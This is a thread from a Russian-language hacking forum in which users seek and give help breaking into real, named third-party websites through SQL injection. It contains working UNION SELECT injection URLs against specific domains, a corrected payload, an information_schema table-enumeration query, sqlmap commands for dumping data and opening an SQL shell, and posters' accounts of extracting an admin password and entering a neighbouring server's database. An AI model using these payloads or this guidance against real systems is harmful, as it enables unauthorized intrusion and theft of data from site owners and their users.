 |
|
23.03.2013, 17:01
|
|
Новичок
Регистрация: 06.03.2013
Сообщений: 21
С нами:
6940406
Репутация:
0
|
|
del/
|
|
|
23.03.2013, 19:59
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от Massay
Что можно сделать с
http://job.ukr.net/vacancy/kw-%D1%81%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D 1%81%D1%82_%D0%BF%D0%BE_%D0%BF%D1%80%D0%B8%D0%B2%D 0%BB%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8E_%D0%BA%D0 %BB%D0%B8%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_(%D0%BA%D1 %80%D0%B0%D1%81%D0%B8%D0%BB%D0%BE%D0%B2,__%D0%BD%D 0%B5%D1%82%D0%B8%D1%88%D0%B8%D0%BD,__%D1%88%D0%B5% D0%BF%D0%B5%D1%82%D0%BE%D0%B2%D0%BA%D0%B0),__%D1%8 1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D1%81% D1%82_%D0%BF%D0%BE_%D0%BF%D1%80%D0%B8%D0%B2%D0%BB% D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8E_%D0%BA%D0%BB%D 0%B8%D0%B5%D0%BD%D1%82%D0%BE%D0%B2__(%D1%81%D1%82% D0%B0%D1%80%D0%BE%D0%BA%D0%BE%D0%BD%D1%81%D1%82%D0 %B0%D0%BD%D1%82%D0%B8%D0%BD%D0%BE%D0%B2,__%D0%BD%D 0%BE%D0%B2%D0%B0-%D1%83%D1%88%D0%B8%D1%86%D0%B0),__%D1%81%D0%BF%D0% B5%D1%86%D0%B8%D0%B0%D0%BB%D0%B8%D1%81%D1%82_%D0%B F%D0%BE_%D0%BF%D1%80%D0%B8%D0%B2%D0%BB%D0%B5%D1%87 %D0%B5%D0%BD%D0%B8%D1%8E_%D0%BA%D0%BB%D0%B8%D0%B5% D0%BD%D1%82%D0%BE%D0%B2__(%D1%87%D0%B5%D0%BC%D0%B8 %D1%80%D0%BE/
Ну для начало не помешало бы ознакомиться с тематикой раздела и понять какого рода сдесь посты выкладываются...
|
|
|
|
24.03.2013, 01:34
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от Xeson
Вытащил пароль администратора через скулю, у него пароль отображается так: "\xE4\xEC\xE8\xF2\xF0\xE8\xE9" как получить нормальный вид пароля?
(у всех отображается нормально)
дмитрий
Как еще можно обойти фильтрацию union+select? переносы строк, /*!, urlencode не помогает
|
|
|
|
24.03.2013, 01:48
|
|
Новичок
Регистрация: 17.03.2008
Сообщений: 5
С нами:
9553063
Репутация:
1
|
|
Help
Парни, прошу помощи
Сообщение от None
http://www.mycarhelpline.com/index.php?option=com_easyblog&view=blogger&layout= statistic&id=128&stat=tag'&tagid=60&Itemid=91
крутил его по разному, и не пойму есть уязвимость или ее никак не разколоть?
|
|
|
|
24.03.2013, 04:02
|
|
Новичок
Регистрация: 17.07.2011
Сообщений: 17
С нами:
7801526
Репутация:
0
|
|
вопрос
где именно в php nuke находится адрес сайта?
пролез в бд соседнего сервера, а адрес найти не могу
|
|
|
|
24.03.2013, 14:15
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами:
8638130
Репутация:
54
|
|
как в sqlmap использовать конструкцию "where"? допустим я хочу сдампить те строки где type=admin
в гугле нашел только, дамп определенной колонки:
python sqlmap.py -u http://site.com --dump -T member -C type
|
|
|
|
24.03.2013, 15:31
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
Сделайте интерактивный SQL Shell и работайте через него и уже там указывайте выборку и условия.
python sqlmap.py --url="http://site.com" --sql-shell
|
|
|
|
25.03.2013, 22:43
|
|
Новичок
Регистрация: 19.05.2012
Сообщений: 8
С нами:
7359446
Репутация:
0
|
|
Не понимаю, как раскрутить скулю.
Код:
http://www.rstomat.ru/qwe.php?id=14'+UNION+SELECT+1,2,3,4,+--+
Менял пробелы, менял цифры, а ошибка одна и та же. Так же и с GROUP BY и ORDER BY.
Хавжи раскручивает скулю на раз, а мне интересно научится руками.
Что я делаю не правильно?
Спасибо за разъяснения. |
|
|
|
25.03.2013, 22:48
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от HackCrack
Не понимаю, как раскрутить скулю.
Код:
http://www.rstomat.ru/qwe.php?id=14'+UNION+SELECT+1,2,3,4,+--+
Менял пробелы, менял цифры, а ошибка одна и та же. Так же и с GROUP BY и ORDER BY.
Хавжи раскручивает скулю на раз, а мне интересно научится руками.
Что я делаю не правильно?
Спасибо за разъяснения. Вопервых кавычка в вашем случае экранируется, во вторых там 5 полей вот рабочий пример:
Сообщение от None
_ttp://www.rstomat.ru/qwe.php?id=-14+union+select+1,2,3,4,5+--+
|
|
|
|
25.03.2013, 23:17
|
|
Новичок
Регистрация: 19.05.2012
Сообщений: 8
С нами:
7359446
Репутация:
0
|
|
Спасибо.
Теперь проблема в том, чтобы получить названия таблиц.
Код:
http://www.rstomat.ru/qwe.php?id=-14+union+select+1,2,3,TABLE_NAME,5+from+information_schema.tables+limit+4,1+--+
Выводит названия таблиц information_schema типа CHARACTER_SETS, CLIENT_STATISTICS, COLLATIONS и так далее..
Как получить нужные таблицы?
PS. пробелы в слове information не удаляются в сообщении. В юрл-строке их нету. |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
